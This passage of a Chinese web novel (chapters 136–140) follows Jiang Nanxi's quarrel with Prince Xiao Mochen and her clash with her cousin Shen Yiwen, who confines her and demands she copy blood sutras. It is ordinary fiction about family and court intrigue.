姜南溪身体忍不住往后退。 背脊一下子就贴在了凹凸的雕花木门上。 而萧墨宸又再次逼近了一步。 他的衣袍本就没有正经穿上。 此刻一动,更是松散开来,露出光洁如玉的胸口与让人血脉喷张的腹肌。 姜南溪一时都不知道眼睛该往哪放了。 她只能沉着脸道:“王爷敢说,答应娶我,不是把我当做棋子和诱饵?” 萧墨宸不说话了。 姜南溪冷笑:“所以我现在不想当棋子,也不想当诱饵了,不行吗?” 七日断肠丸毒发这样的痛苦和折磨。 她不想再承受第二遍。 鬼知道,那些杀手为什么能知道她在鸿宾客栈。 又刚好找了她最虚弱的时候,追杀她。 谁知道影七是真的刁难她没赶上给她送解药。 还是御王府把她当诱饵,吊她幕后的人。 她原以为,为了活下去,什么样的代价都能承受。 可如今她知道,不行! 这憋屈的日子,谁特么爱过谁过去! “不管王爷你娶不娶,反正我现在不想嫁了!” 萧墨宸的声音骤然冷了下来。 他一把掐住姜南溪的下巴,迫的她抬起头来:“你说定下婚约便定下婚约,如今说解除就解除,姜南溪,你把本王当什么了?” 这狗渣男! 明明是他嫌弃自己,从来就没把她当做真正的未婚妻。 现在自己都肯放弃婚约了,他还想怎么样? 姜南溪气不打一处来,想也不想就道:“还能当什么,自然是拿你当沈翊轩的替身,还有向定远侯府打脸的工具人啊!” 话一出口,她就暗道要遭。 果然,下一刻,就见萧墨宸的瞳孔剧烈收缩了一下。 紧接着,原本掐着她下巴的手,骤然扼住了她的喉咙。 男人的声音宛如来自地狱的修罗:“姜!南!溪!你!说!什!么?!” 此刻萧墨宸的眼神,甚至让姜南溪感觉到了恐惧。 眼前的男人,就像是被触动了逆鳞的恶龙。 整个人都散发着要将她碎尸万段的煞气。 姜南溪不是不后悔的。 但,但话赶话都到这份上了。 输人不输阵。 她也只能梗着脖子道:“怎么?只准王爷把我当狗驯,还不准我把王爷当替身啊!” “王爷要是觉得受到了羞辱,我们解除婚约就是了!” 大不了,后续她还来给狗王爷续命就是了。 比起被眼前的暴龙撕碎,她当一次孙子,也……也不是不行的。 只是还不等她把怂言怂语说出口。 就见萧墨宸猛然低头靠近她。 两人的距离瞬间变得极近。 近到姜南溪有种男人会强吻上来的错觉。 但萧墨宸却只是用漆黑、幽冷的双眸盯着她,就像盯着自己相中的猎物。 一字字道:“姜南溪,别做梦了,婚约不会解除!” “三个月后,你就算横着,也要抬进我御王府!” 姜南溪简直无语了:“不是,萧墨宸,之前不是你嫌弃我,死活不肯娶我吗?” “现在我主动跟你退婚,你为什么反而要跟我发火?” “你是不是脑子有病啊?还是杠精转世,就喜欢跟我对着来?” 萧墨宸被问的怔住了。 他为什么会发那么大的火? 萧墨宸自己也说不清楚。 但在听到姜南溪说把她当沈翊轩替身的时候。 胸腔里的怒火就如岩浆般喷涌而出,几乎要将他的理智烧化。 沈翊轩,定远侯府! 又是定远侯府! 夺走了他的阿娘,又要夺走…… 不!不对! 姜南溪与他没有任何瓜葛。 她是不知何人送到他身边的一枚棋子。 身份不明,目的不纯。 他为何要把一枚棋子与阿娘相提并论? 又为何要为了姜南溪把他当替身生气? 萧墨宸猛地闭上眼。 良久才睁开,松开扼住她喉咙的手,冷冷道:“你可以回去了!” 说完,竟不再理会姜南溪,径自回到病床上。 前后反应,判若两人。 刚刚还扬言横着也要把她抬进门的男人。 此刻却仿佛多看她一眼都嫌恶心。 直接就拿后脑勺对着她,连一句谢谢都没有。 狗渣男! 姜南溪牙齿咬的咯咯作响。 手中的金针举起又放下,恨不得现在就回去往萧墨宸的死穴上扎两下。 让他再也没办法仰卧起坐、翻脸无情。 可她到底不敢! 只能朝着男人的背影恶狠狠比了个中指。 才气冲冲地摔门离开。 …… 少女的离开,也仿佛带走了这屋中仅剩的那点生气与温暖。 明明体内的巫髓毒已经控制住了。 可萧墨宸却觉得身体仿佛又重新陷入了冰冷之中。 偏偏胸口处一团火,又莫名其妙,滋滋燃烧着。 越烧越旺。 将他当沈翊轩的替身? 沈翊轩算什么东西?! 正在这时,房门发出轻轻地叩响声。 “王爷!”外面传来司玄中的声音。 萧墨宸深吸了一口气,将胸中莫名的怒火压下去。 沉声道:“进来!” 听到声音,司玄中迫不及待地推开门。 当看到脸色神情皆如常的萧墨宸时,司玄中大喜过望。 “王爷,您没事了?” “南溪县主的医术果然神乎其神!” 要知道,在今日之前,他们当真以为王爷没救了。 那巫髓毒几乎已经渗入心脉,即便离洛先生就在此处。 恐怕也回天乏术。 可南溪县主却硬生生把人从鬼门关救回来了。 第一百三十六章 及笄宴前的准备 萧墨宸此刻听到那女人的名字,就忍不住生气。 声音也不由冷了几分:“谁让你们去找姜南溪的?本王不是说过,谁都不许去找她吗?” 司玄中第一次对自家王爷生出翻白眼的冲动。 要是他们当真听令不找南溪县主。 王爷您此刻还有命在这里发火吗? 但他不是宋武那种愣头青。 当然不会当面反驳自家主子。 而是温和一笑,把责任一推二五六:“府中自然无人敢违背王爷的命令。但——” 他顿了顿,又继续道:“但影七如今已经被逐出墨影卫,算不得王府中人了。” “他又深悔自己的错信和疏忽,让王爷您陷入了这样的险境,是以自己负荆请罪,求到了南溪县主面前。” 萧墨宸微微一愣,眉头皱了起来。 司玄中继续道:“影七将自己献给南溪县主,发誓从今往后,愿给县主做牛做马,再不敢有半分违背。只求县主来给王爷您祛毒。县主最终同意了。” “影七如今不再是墨影卫,而是南溪县主专属的奴仆了。” 说到这点的时候,司玄中心中没有半分唏嘘。 因为这本就是他暗中推动的。 这场祸事,本就是影七的愚蠢和自大引出来的。 他牺牲自己去为主子博得一线生机,不是理所当然的吗? 更何况,这也是影七自愿的。 司玄中所做的,也不过是在骂影七的时候。 偷偷给这蠢货一些言语诱导罢了。 “当然,县主愿意来救王爷您,最重要的却不是影七卖身……咳……赔罪,而是徐嬷嬷的恳求。” 萧墨宸心中微微一动。 想起之前姜南溪的话—— “要不是徐嬷嬷求我,我才懒得管你死活呢!” 不知道为什么,胸口的气非但没有消,反倒越发不爽了。 司玄中却没有察觉萧墨宸的异样,轻叹一声道:“南溪县主,其实比我们想象中更容易心软。” “王爷,其实你只要肯告诉县主您毒发的真相,县主定然会心软的。” 短暂的骑马、战斗,其实根本不会让巫髓毒发作的如此急如此迅猛。 萧墨宸之所以会落到生死一线的境地。 最主要的,便是那晚为了延缓七日断肠丸的毒发,整夜用内功给姜南溪祛毒。 南溪县主若知道这件事,便绝不会误会,他们家王爷是故意不给解药,耍着她玩了。 司玄中:“否则,王爷您体内的巫髓毒若是再次毒发,还不知道县主肯不肯再来为您……” 然而,他的话还没说完。 萧墨宸一个冷飕飕的眼刀就飞了过来。 司玄中霎时浑身一个激灵,只觉得头皮发麻,再也不敢多说一句。 可心中却忍不住吐槽。 王爷平日里也算杀伐果决,沉稳冷静。 可怎么一遇到南溪县主相关的事,就变得喜怒无常。 不就是和南溪县主解释一下他们家王爷的付出吗? 而且又不用王爷亲自去服软。 他这个谋士也能代劳的。 可王爷偏偏还犯上倔了。 但萧墨宸平日里在御王府和镇北军实在是积威深重。 哪怕心机深沉如司玄中,也不敢违抗。 然这时,萧墨宸的声音却再次响起。 “两日后的事,准备好了吗?” 两日后? 两日后什么事? 司玄中听到这没头没尾的问话,简直一头雾水。 这句疑问几乎要脱口而出。 然而,电光火石间,他的脑中突然灵光一闪。 两日后,那不就是定远侯府要给姜思瑶举办及笄宴的日子吗? 王爷答应过要替县主撑腰的! 司玄中想也不想道:“自然,属下早知会下去,各方都筹备妥当了。及笄宴上,定然会让县主满意。” 话一出口,司大谋士更无语了。 看萧墨宸的目光中,甚至带上了几分哀怨。 王爷啊王爷! 您明明那么关心南溪县主。 连一个小小的及笄宴撑腰,都要嘱咐又嘱咐,询问再询问。 可您既然这么关心县主,怎么就不肯让县主知道您对她的好呢? …… 而气冲冲回到碧清院的姜南溪,早已忘了之前和萧墨宸做过交易,让他在姜思瑶及笄宴上给自己撑腰的事。 她此刻也没空再生萧墨宸的气了。 因为碧清院迎来了一个她意想不到的不速之客。 === 半个时辰前,定远侯府琉璃院。 姜思瑶正在细细地描着眉。 双目盯着铜镜中的秀丽少女,眸中迸射着强烈的野心与欲望之火。 再过两日,就是她名扬天下,彻底取代姜南溪成为英国公府大小姐的日子。 只是,最近的姜南溪变化实在太大。 让她心中隐隐不安。 “小姐!” 正在这时,倚翠匆匆掩上门进来。 姜思瑶眼前一亮,连忙道:“事情办的怎么样了?” 倚翠垂头丧气地摇摇头:“小姐,如今的碧清院跟个铁桶一样,别说安排烧火丫头进去了。便是奴婢想遣人去看看他们在里头搞什么勾当,都被赶了出来。” 砰! 姜思瑶手中的眉笔重重砸在桌面上,沉下脸道:“怎地这点小事都做不好?” 倚翠双眼垂泪,满心委屈,却不敢反驳。 姜思瑶烦躁地在屋中走来走去。 她有种预感,如果及笄宴那天,不能把姜南溪困住。 让她出现在及笄宴上。 姜南溪一定会坏她好事。 “不!不行,我绝不能让她破坏我的及笄宴,倚翠,你去……” 姜思瑶的话还没说完,虚掩的门突然被推开。 门外传来一个温润含笑的声音:“是谁要破坏我们思瑶的及笄宴啊?说给二表哥听,二表哥去替你教训她。” 姜思瑶心头猛然一跳。 随即露出狂喜的神色。 下一刻,就见一个眉目如画的年轻男子走进屋中。 “二表哥!”姜思瑶如一只欢快地小鸟迎上去,一下扑入来人怀中,“你何时从书院回来的,怎地也不提前通知一声?那样思瑶也好去书院门口接你啊!” 来人正是定远侯府的二公子,沈翊文。 只见他大约二十来岁年纪,做书生打扮。 眉目比沈翊轩都要精致几分。 但皮肤却比寻常男子苍白,整个人显出几分病弱之态。 第一百三十七章 大哥不娶你,我便娶你 听到姜思瑶的话,沈翊文露出宠溺的神情。 “思瑶这段时间定然忙着及笄宴,二表哥又怎么舍得你受累呢?对了,你刚刚说有人要破坏你的及笄宴?究竟是谁?” 姜思瑶闻言,却露出踟蹰的神情。 遮遮掩掩道:“二表哥,你定是听错了,定远侯府众人都待我极好,又怎么会有人想破坏我的及笄宴呢?” 可话虽这么说,她的眼圈却委屈的红了。 倚翠当即上前一步,愤愤不平道:“偌大侯府中,最看不得我家小姐好的,还能有谁呢?” 姜思瑶假意跺脚,怒嗔道:“倚翠,谁让你乱说的?” “小姐,你脾气好,顾念姐妹亲情,所以一而再再而三地忍让。可奴婢实在是看不下去了。今日就算拼着被小姐您责罚,也定要为您在二公子面前讨个公道。” 倚翠低吼出声,随即眼圈瞬间红了:“二公子,你有所不知,这段时日你在书院没有回府,我家小姐受了表小姐多少委屈。” 沈翊文闻言,脸色慢慢沉了下去。 “这段时日,南溪究竟对思瑶做了什么?倚翠,你且细细说来!” 倚翠不顾姜思瑶的“阻拦”。 竹筒倒豆子一般,就将这几日发生的事情,添油加醋、颠倒黑白地叙述了一遍。 说到后来,沈翊文脸色已经越来越难看。 “南溪她当真如此过分?” 倚翠用帕子捂着哭的通红的眼,哽咽道:“岂止啊,表小姐还曾扬言,绝不会让我们家小姐的及笄宴顺利进行。奴婢本想着,就算是跪着求表小姐,也要让她放过我们家小姐。” “可谁知表小姐得了御王青睐,如今那碧清院守得跟铁桶似的,谁都不让进。” “小姐和夫人上回去找表小姐,还受了好大的委屈呢。” “呜呜呜,奴婢是真的不知道该怎么办了?” “表小姐一直觉得是我们小姐抢走了世子,对我们小姐恨之入骨,这要是被她出现在小姐的及笄宴上,她还不知道会做出什么恶毒的事情来,让小姐身败名裂呢!” 沈翊文猛地站起身,冷着脸道:“未来御王妃又如何?我定远侯府要办的及笄宴,还容不得她姜南溪放肆!” “思瑶你放心,二表哥绝不会让她出现在你的及笄宴上,破坏你最重要的日子的!” 姜思瑶呜咽一声,扑到他怀里,哽咽道:“二表哥,谢谢你,你对思瑶太好了。可是,无论如何,我都不希望你因为我和姐姐有冲突,我想姐姐也只是说说而已,不会真的破坏我的及笄宴的。” 然而,沈翊文却已经听不进去她的话。 转身气冲冲的走了。 徒留下姜思瑶在身后不停焦急地呼唤:“二表哥,二表哥,你别去找姐姐……二表哥……” 直到确定沈翊文真的走远了。 姜思瑶脸上的焦急神色瞬间收敛,嘴角勾起一抹似有若无的笑意。 “倚翠,刚刚你做的很好。” 倚翠露出笑容:“小姐,这下我们就不必再为及笄宴烦心了。” “有二公子为您出头,表小姐绝没有可能出现在您的及笄宴上的。” “不说从以前开始,表小姐就最怕二公子,不敢不听他的话。” “就说二公子背后站着的宣华郡主,就绝不是表小姐敢轻易开罪的。” 姜思瑶嘴角的笑容更深了。 重新坐回梳妆台前,再次细细描眉。 === 姜南溪回到碧清院。 还没有进门,就发现金铃、银铃、徐瑞和小婵排成一排,跪在院子中。 什么情况? 难不成是这四个小家伙惹了什么祸,所以被徐嬷嬷罚跪了? 然而很快,她就发现到了不对劲。 因为徐嬷嬷就站在四人身后的不远处。 神情愤怒而焦急。 可这愤怒却不是对着金铃四人,而是四人跪着的方向。 碧清院的院子里,不知何时多了一套石桌石椅。 此时一个大约二十来岁的俊美青年正坐在石桌旁,神色淡漠地看书。 看到这青年的瞬间。 姜南溪就感觉原身的记忆与情绪如潮水般倾泻而来。 沈家二公子,沈翊文。 曾经也是姜南溪最喜爱的表哥之一。 沈翊文从小体弱多病。 少年时期曾有段时间整日缠绵病榻。 郎中说,他这样的身体是绝熬不过春闱考试,更别提提枪上马了。 也就是说,沈翊文这辈子不能从文,也无法习武,几乎算是半废了。 就连侯府也彻底放弃了这位病弱的二公子,将希望全寄托在优秀的长子,与玉雪可爱的幼子身上。 可整个定远侯府,唯有一人不肯放弃沈翊文。 那便是原身那个傻孩子。 连婢女都不愿意伺候的病秧子,原身去伺候。 沈翊文头晕目眩,看不下去书,她便把经史典籍读给他听。 那傻子甚至就因为听说抄血经能为病人祈福。 就硬生生去练了一手好字。 然后每日混合着自己的血,为沈翊文抄血经。 整整抄了七十二卷功德经,将自己累得晕倒在案几前,都不肯放弃。 再后来,原身听说城东来了个能活死人肉白骨的药师老头。 她便每日去老头那央求。 堂堂英国公府大小姐,先皇亲封的县主,却纡尊降贵,给老头种田锄地,侍弄药草。 只为替沈翊文换的一线生机。 最终,药师老儿也不知道是被她感动了,还是被她缠的烦了,丢给了她一颗药丸。 那药丸黑黢黢、臭烘烘的,毫不起眼。 谁都不觉得这药能治好沈翊文。 所有人都嘲笑姜南溪被一个乞丐耍了。 然而,沈翊文服下那颗药后,身体却当真一日比一日好起来。 姜南溪还记得,沈翊文刚刚能下床、能读书的时候。 曾经双目含泪,抓着原身的手哽咽道:“南溪,我的这条命是你给的,从前你是我的救赎,往后我要做你的依仗。” “你若是想嫁给大哥,那我便做你永远的娘家哥哥,大哥敢欺负你,我帮你去教训他!” “若是大哥不娶你,我便娶你。那样,我们就能做永远的一家人了!” 第一百三十八章 哪来的阿猫阿狗 记忆中的“姜南溪”听到“一家人”三个字,眼泪就唰地从眼眶滚落下来。 她在定远侯府倾尽全部真心,所渴望的,也不过是“家人”二字而已。 这么多年来,她从未挣脱掉八岁那年的噩梦。 一夕之间,她失去了爹爹娘亲,失去了哥哥。 失去了她的家。 所以被带回定远侯府后,她就把这里当做了唯一的家。 也当做了救命稻草。 她拼命对沈家的人好,就是希望,沈家能真正接纳她,把她当做家人。 她再也无法承受,被全家抛弃,孤零零一个人的凄然绝望。 而那时沈翊文的承诺,如一道光落在姜南溪的心上。 让她欣喜、温暖、安定。 也让她对定远侯府的执念越发深。 然而,“姜南溪”却不知道。 这世间上最不可信的,便是男人的承诺。 病弱少年一朝康复,很快就凭借着出色的才学,进入了京城最好的明理书院。 他光芒万丈,意气奋发,众人瞩目。 却也逐渐地离原身这个“妹妹”越来越远。 从一开始的一日不见,就有数不尽的话对表妹说。 变成几日都住在书院,见不到人影。 到后来,即便见面了也说不上几句话。 原身想要和他多说两句,沈翊文便开始不耐烦。 等姜思瑶来到侯府后。 沈翊文更是将满腔的疼爱宠溺,全都给了这位新的表妹。 原身从沈翊文看着姜思瑶灼灼闪亮的双眸中,仿佛看到了曾经的少年。 那个病弱的,被她用一腔真心一点点喂养浇灌起来的少年。 忘了自己的承诺,忘了说会成为她最坚强的后盾。 然后嘴角噙着笑,用冷漠地眼神看着她说:“南溪,你该与思瑶多学学的。即便学不会她的聪慧睿智,也该学学她的良善心肠。这样吧,今晚你和你的婢女便把这女诫抄二十遍。” “以后切记谨言慎行,莫要再做出丢尽侯府颜面之事,更莫要伤害到无辜的思瑶。” …… 姜南溪猛地闭了闭眼。 将体内汹涌的情绪,与让人血压升高的记忆全都压了下去。 此刻她算是知道,为什么原身会对这个世间没有任何留恋了。 不仅仅是因为未婚夫的背叛,定远侯府的无耻。 更因为,那位傻姑娘所赖以生存的信念崩塌了。 所有她真心对待付出过的亲人,全都背叛了她。 在这个世间,已经没有了能让她留恋的人。 院子内,沈翊文正一面漫不经心地翻阅手中书册,一面口气淡漠道:“本公子的命令,你们没听清吗?” “既然他们没听清,那江逸,你替本公子掌她们的嘴吧!” 徐嬷嬷忍无可忍道:“沈二公子,如今这碧清院是御王府未来王妃的居所,院子里的人,也都是我们王妃的奴才。沈二公子你无故责罚我御王府的人,是何道理?” “无故责罚?” 沈翊文冷笑一声,“刁奴欺主,对我定远侯府的贵客无礼。挑唆主子,致使南溪品行败坏,与我侯府离心。这般其心可诛的狗奴才,本公子处理了便处理了,何须道理?” “徐嬷嬷,我看在你是府中老嬷嬷的面上,没有连你一起责罚,已经是给你留了三分颜面。” “怎的?如今你一个奴才,都要蹬鼻子上脸,教训起本公子来了?” 说着,沈翊文又朝身边的黑衣男子看了一眼。 “既然徐嬷嬷不想要这份体面,那你就连她一起教训教训吧!” “也让碧清院这群狗奴才清楚知道,这定远侯府究竟谁做主!” 砰! 姜南溪重重推开院门,沉着脸大步走了进去。 “我倒要看看,今天有谁敢动我碧清院的人!” 这一声喊,顿时把院中所有人的注意力都吸引了过来。 沈翊文猛地扭头看向她,满脸错愕。 这是他那个懦弱又卑微的表妹? 之前倚翠口口声声说姜南溪像变了一个人时,沈翊文心中还不以为然。 他与姜南溪只差了两岁。 两人可以说是看着对方长大的。 姜南溪是什么样的性子,他比任何人都清楚。 平日里,他最看不上姜南溪的地方。 就是她总畏畏缩缩地,甚至比府中那些丫鬟都上不得台面。 以至于每次向同窗介绍他这个表妹,都会受到好一通嘲笑。 可眼前的姜南溪,哪还有半分畏缩的样子? 只见她沉着脸,大步走进院中。 言行举止没有半分女子的婉约端庄,反倒是比男人更大喇喇。 三两步间,她便冲到了小婵身边,一把将人拽起来。 “谁让你们跪在院中的?” “金铃、银铃、徐瑞,全都给我起来!” “本县主都没让你们下跪几次,哪来的阿猫阿狗,你们就给跪上了?” 小婵一把抓住姜南溪的手,焦急道:“小姐,奴婢……奴婢没事的,你……你就让奴婢跪吧!你不要为了奴婢和二公子起冲突了。” 姜南溪怀疑自己听错了。 这还是小婵这丫头第一次违背自己的命令。 而且说完这话后,她果真强硬挣脱了姜南溪的手,再次跪了下去。 只是小脸因为恐惧一片苍白,单薄的身体还在抑制不住的颤抖。 姜南溪忍不住又看向金铃、银铃和徐瑞三人。 徐瑞这老实孩子最听话。 姜南溪一说,他就马上站了起来。 银铃本就跪的一肚子火,听到姜南溪的话,她弹跳起来的速度甚至比徐瑞更快。 但刚起身,又被金铃硬生生拉了回去。 重新噗通一声跪在了青石上。 金铃此刻伤病未愈,却勉强露出一个笑容:“小姐,没事的,奴婢们皮糙肉厚,跪一跪不打紧。你没必要为了我们几个做奴才的,与沈二公子冲突。” 姜南溪的眉头皱了起来。 小婵这丫头胆小如鼠就算了。 怎么连金铃也对沈翊文如此忌惮? “南溪!”温润的声音带着几分冷意响起,“一段时日不见,你变得连基本的礼数都不懂了?” 姜南溪转头看向他。 沈翊文容貌生的温和文弱。 可此时沉下脸来,脸上便生出几分不怒自威之感。 那眉眼,竟隐隐有一两分肖似萧墨宸。 第一百三十九章 不要脸至贱无敌 呸! 她现在是不是魔怔了。 怎么总是莫名其妙联想到狗王爷身上? 而且严格来说,萧墨宸和沈翊文是叔侄关系,两人有一两分相似,不是很正常吗? 砰——! 姜南溪正想的入神。 沈翊文却已经怒火中烧,将手中的书重重拍在石桌上。 “怎地?如今有御王府撑腰,便这般眼高于顶,见到我,连一声二表哥都不想叫了?” 姜南溪嗤笑一声:“谁家表哥进表妹的院子,会越俎代庖,处罚表妹院子里的奴婢?” “这种连半点边界感都没有的表哥,不要也罢!” 沈翊文的第一反应甚至不是愤怒。 而是怀疑自己听错了的难以置信。 他皱眉看着姜南溪,脸上浮现出冷冽和疑惑:“你当真是姜南溪?” 眼前的少女明媚又张扬,嚣张又桀骜。 与他记忆中那个总是怯怯笑着的小表妹,形成鲜明的对比。 一个人的性情就算当真会变。 有可能会变得这般面目全非吗? 想到这里,沈翊文的眼中甚至带上了几分审视。 姜南溪心中猛地一跳。 她没想到,这位定远侯府的二公子,居然如此敏锐。 连沈翊轩和凌婉茹都没察觉到的问题。 他竟然只与她第一次见面,就意识到了。 但也只是心头一跳,姜南溪很快就冷静下来。 她从没想过要模仿原身性格,憋屈地活着。 被人发现不对劲是迟早的事。 到如今,定远侯府都没一人意识到这具身体的芯子换了,她才觉得奇怪呢! 由此也可以想见,整个定远侯府,有多不将原身放在心上。 迎着沈翊文狐疑的目光,姜南溪唇角缓缓勾起一个嘲讽地弧度。 “沈二公子没听说过,人是会变的吗?” “就如我当初也没想过,口口声声说要做我永远的依仗和后盾的人,会转头把自己的承诺忘得一干二净。” 只一句话,就让沈翊文的脸色变了。 也瞬间忘了之前对姜南溪的怀疑。 他一张白净的面皮涨的通红,似乎想要说什么。 但姜南溪却不给他这机会。 剩下的话如机关枪一样扫射出来。 “呵呵,说到这里,我倒是也想问上一句?” “你当真是我几年前掏心掏肺照顾过的二表哥吗?该不会是内里的魂儿早就被人掉包了吧?” “否则我的二表哥怎么会如此狼心狗肺,不感激我这个救命恩人就算了,居然还跑到我的院子里来耀武扬威?” “恐怕狼心狗肺的畜生,都做不出这么忘恩负义的事情吧?” 沈翊文此时已经不只是面皮肿胀,而是额角的青筋都在一下下颤抖。 一张脸青了红、红了紫。 好半晌才咬牙切齿道:“姜南溪,这些都是早已过去的小事,你一而再再而三提起,是想要挟恩图报吗?” 饶是姜南溪早已对定远侯府众人的无耻有所认知。 此时都忍不住被气到了。 原身这样毫无保留地付出,傻到让人心疼的努力。 在沈翊文的眼里,就只是早已过去的小事。 是提起一句,就会让他不耐烦的挟恩图报? 呵呵!好,真是太好了! 果然人不要脸至贱无敌! 姜南溪冷笑一声:“沈二公子说的没错,这些确实只是微不足道的小事。” “唯一的作用就是让我认清了,有些人说话犹如放屁,承诺能出尔反尔。” “以后遇到这种白眼狼,我会牢记一定离远点,免得妨碍了他躺在床上着凉嗝屁当废物。” 沈翊文双目圆睁,怒火简直要从眼中喷出来:“你……你……咳咳咳……” 他的话还没说完,就因为太过激动,没忍住剧烈咳嗽起来。 这些年,沈翊文虽不再是躺在床上的废物。 可身体却也比寻常人要虚弱些。 尤其是当情绪太过激动的时候,就会抑制不住地咳嗽喘息。 此时他就咳得半天都停不下来,连眼泪都咳出来了。 姜南溪在一旁饶有兴致地看着。 甚至还好心情地让唯一站着的徐嬷嬷去里面摸了一把瓜子出来。 唔,一边磕,一边看戏。 看着看着,姜南溪心中突然有些愧疚。 要知道,咳嗽咳得几乎要作呕的人,那模样铁定是不太好看的。 此刻的沈翊文便是如此。 一张脸涨成了猪头色,鼻涕眼泪全喷出来了。 就连原本整齐的头发,此时也乱成了一团。 啧啧,说他和萧墨宸相似。 她突然觉得有些辱萧墨宸了。 狗王爷是狗,但真的罪不至此! 沈翊文原本都快止住咳嗽了。 可一抬眼,看到一边嗑瓜子,一边幸灾乐祸看着他咳嗽痛苦的少女。 心中突然涌上来一股难以言喻的怒火。 姜南溪竟然在看好戏? 从前见自己有头疼脑热,她哪一次不是关切又紧张? 只是后来碍于两人年岁渐长,家中又决定将先皇赐婚落在大哥头上。 所以才日渐疏远,也不敢太过表现关切。 但那时,沈翊文每次都能感受到少女担忧的目光。 可如今,他咳得这般难受。 姜南溪非但没有丝毫的关心,反倒在嗑瓜子看好戏? 她,她怎么敢? 滔天的愤怒情绪上涌,让刚刚止住的咳嗽再度汹涌而来。 “咳咳咳……咳咳……咳咳咳咳……” 姜南溪:“……” 几个意思? 她手里的瓜子都放下了。 原来还有第二轮啊? 姜南溪默默地把塞回给徐嬷嬷的瓜子又拿了回来。 眼见沈翊文的咳嗽怎么都止不住。 站在一旁的黑衣侍卫突然从怀中拿出一个瓷瓶,放到沈翊文鼻子底下晃了晃。 沈翊文猛地深吸了一口气,露出几分沉醉享受的神情。 随后原本怎么都压不下去的咳嗽,竟迅速被压制了下去。 姜南溪的鼻子忍不住动了动。 身体下意识往前凑了凑,想确认那味道是什么。 但黑衣侍卫的动作非常快,几乎一瞬间,就把药收了回去。 而沈翊文此时也终于缓过气来。 他愠怒地瞪着姜南溪。 但气势比起刚来时,明显是弱了好几截。 姜南溪重新将瓜子收起来,拍了拍手,似笑非笑道:“对了,还没问沈二公子今天大张旗鼓跑到我这偏僻的小院,有何指教?该不会只为了教训几个本就不属于定远侯府的奴婢吧?” 第一百四十章 巴掌伺候 沈翊文闭了闭眼。 等再睁开时,已经恢复了平日的冷静从容。 只是一双眼因为掉过泪而显得通红,声音也因为长时间咳嗽而变得嘶哑。 “我来是为了告诉你,接下来七日,你都留在碧清院中,不许出门!” 姜南溪挑眉:“凭什么?” 沈翊文伸出手。 站在他后方的小厮立刻上前,将背在背上的一个青灰色布包送到他手中。 “之前你抄的那七卷妙法莲华经,老师和师娘都很是满意。” “所以老师命我将这珍贵的瓷青纸拿来于你,接下来,你便在这瓷青纸上将十卷楞严经也仔仔细细抄写下来。” “切记,在抄血经的过程中定要诚心诚意,绝不可对佛祖有丝毫不敬,更不可用婢女的血代替。” “否则,若是被老师和师娘发现错处,便是佛祖不降罪于你,我也绝不会放过你!” 说着,沈翊文就将手中的布包放到石桌上,不耐烦道:“还不快过来将纸取走?” 姜南溪盯着那厚厚一包裹的抄经纸。 真是恨不得给原身这傻子一个大逼斗。 沈翊文不说,她都忘了。 原身这个傻子,不仅在给沈翊文祈福的时候抄了血经。 后来在沈翊文去了明理书院后,又抄了一次。 原因是沈翊文极其想拜学院中的大儒冯延为师。 可偏偏冯延并没有看上沈翊文。 最终,沈翊文辗转打听到冯延的妻子笃信佛法,是一个虔诚的信徒。 他便投其所好,让姜南溪仿他的字迹,帮他抄血经。 然后再谎称这血经是他自己所抄。 终于,他的“诚意”打动了冯延的妻子,认了师娘,进而得以拜师成功。 可怜了原身,却从此成了他的枪手。 每隔几个月,便要替他抄血经。 明明在定远侯府中都没过过几天好日子。 吃不饱穿不暖。 却还要时常放血抄经,傻乎乎没头脑地付出。 就这样,在自己穿越前,这傻姑娘还没血尽而亡,都已经是奇迹了! 姜南溪还在兀自生气。 沈翊文件她迟迟不动,眉头不由皱起来。 声音也冷沉了三分:“姜南溪,我与你说话,没听见吗?” 姜南溪真想骂一句:你脸怎么那么大?整个侯府都无耻成这样了,也好意思再叫人抄经?这特么不是不要脸,是根本就不做人啊! 但她眼珠子一转,突然慢条斯理道:“小婵,去把纸接过来。” 沈翊文不是让她抄血经吗? 放心! 她一定会帮这位亲爱的二表哥,好好地,用心地,认认真真地抄的! 小婵战战兢兢的从地上爬起来。 因为跪的太久,脚下一个趔趄。 身体没控制住往前扑,双手一下子便按在了那布包上。 啪——! 沈翊文一巴掌抽在了她脸上:“狗奴才,压坏了这瓷青纸,你赔的起吗?” 说完还不解气,抬起另一只手就要抽过去。 啪——! 又一声清脆地巴掌声响起。 双目含泪的小婵却没感觉到疼痛。 她怯生生地睁开眼,就见对面不可一世的二公子捂着自己的脸。 正难以置信地瞪着自家小姐:“你,你敢打我……” 沈翊文怒不可遏,抬手就要往姜南溪脸上扇去。 然而下一刻,就见姜南溪拿过了石桌上的布包,轻轻晃了晃。 “啧啧!我突然觉得,抄经挺没意思的。” “要不我还是不抄了,免得费心费力,还要被人巴掌伺候。” “对了,我记得后日是妹妹的及笄宴吧?哎呀,这么大好的日子,我还抄什么经书啊,倒不如去妹妹的及笄宴上凑凑热闹……” 沈翊文硬生生把要扇出去的手收了回去。 指关节却因为愤怒捏的咯咯作响。 但想到老师和师娘对血经的看中。 想到姜思瑶的及笄宴。 他还是硬生生把气忍了回去,冷声道:“我说过了,这七日你乖乖在碧清院中抄经,哪里都不许去。否则,就别怪我不客气!” “还有,后日的及笄宴对思瑶来说是最重要的日子,我绝不会允许任何人去破坏的,尤其是你,姜南溪!” “你若是敢偷偷去思瑶的及笄宴上,让她受半点伤害,我定会让你后悔终身!” 说完,他似乎再也懒得看姜南溪一眼,拂袖转身就走。 但到了门口时,沈翊文却突然停住脚步,对一旁的黑衣侍卫道:“让人看住这碧清院!” “在后日及笄宴结束前,绝不许任何一个人从这里出去!” 黑衣侍卫犹豫了片刻,才躬身道:“是,公子!” 沈翊文走了。 可是碧清院却被黑衣人包围了。 这些黑衣人,很明显并非王府的侍卫。 姜南溪的眉头皱起来。 “小姐!”金铃在银铃的搀扶下,来到她面前,脸上满是担忧。 姜南溪疑惑看向她:“小婵怕沈翊文就算了,为何连你也怕?” 原身和小婵可以说是习惯使然,是被pua的不敢反抗,也不知道反抗了。 可金铃和银铃不同。 她们从来这碧清院的第一天开始,就没把定远侯府放在眼里过。 连沈翊轩这个侯府世子,金铃都能跟提麻袋一样提了丢出去。 怎么面对沈翊文,反而束手束脚了? 让跪就跪,让不起来就真的不敢起来。 金铃犹豫了片刻,才缓缓道:“奴婢怕的不是沈翊文,而是宣华郡主!” 宣华郡主? 姜南溪从原身的记忆里搜了好一会儿,才想起此人身份。 当今长公主的女儿,欧阳萱。 她是当今圣上的外甥女。 太后的掌上明珠。 也是整个京城中最无法无天、张扬跋扈的女霸王。 